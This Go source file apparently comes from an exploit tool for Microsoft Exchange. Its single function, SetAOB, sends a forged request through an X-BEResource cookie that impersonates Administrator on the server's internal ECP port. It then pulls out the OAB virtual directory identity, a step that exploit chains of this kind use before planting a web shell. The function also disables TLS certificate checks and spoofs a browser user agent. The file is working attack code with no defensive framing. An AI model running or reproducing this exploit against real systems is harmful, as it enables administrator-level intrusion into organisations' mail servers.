package lib

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"strconv"
	"strings"
	"time"
)

func SetAOB(url, fqdn, sid, aspcookie, excookie string) string{

	data := `{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}`

	cli := &http.Client{Transport: &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
		Timeout: time.Second * 5}
	request, err := http.NewRequest(http.MethodPost, url, strings.NewReader(data))
	if err != nil {
		panic(err)
	}
	request.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:86.0) Gecko/20100101 Firefox/86.0")
	request.Header.Add("Accept", "*/*")
	request.Header.Add("Connection", "keep-alive")
	request.Header.Add("Cookie","X-BEResource=Administrator@"+fqdn+":444/ecp/DDI/DDIService.svc/GetObject?" +
		"schema=OABVirtualDirectory&msExchEcpCanary="+excookie+"&a=~1942062522; ASP.NET_SessionId="+aspcookie+"; msExchEcpCanary="+excookie)
	request.Header.Add("msExchLogonMailbox", sid)
	request.Header.Add("Content-Type", "application/json; charset=utf-8")
	request.Header.Add("X-Requested-With", "XMLHttpRequest")
	request.Header.Add("Content-Length", strconv.Itoa(len(data)))
	request.Header.Add("Accept-Language", "en-US")
	do, err := cli.Do(request)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = do.Body.Close()
	}()
	all, err := ioutil.ReadAll(do.Body)
	if err != nil {
		panic(err)
	}
	if strings.Contains(string(all),"RawIdentity") ==true{
		split := strings.Split(string(all), "RawIdentity\":\"")
		i := strings.Split(split[1], "\"},\"PollInterval\":")
		return fmt.Sprintf("%s",i[0])
	}else {
		return "nil"
	}
}
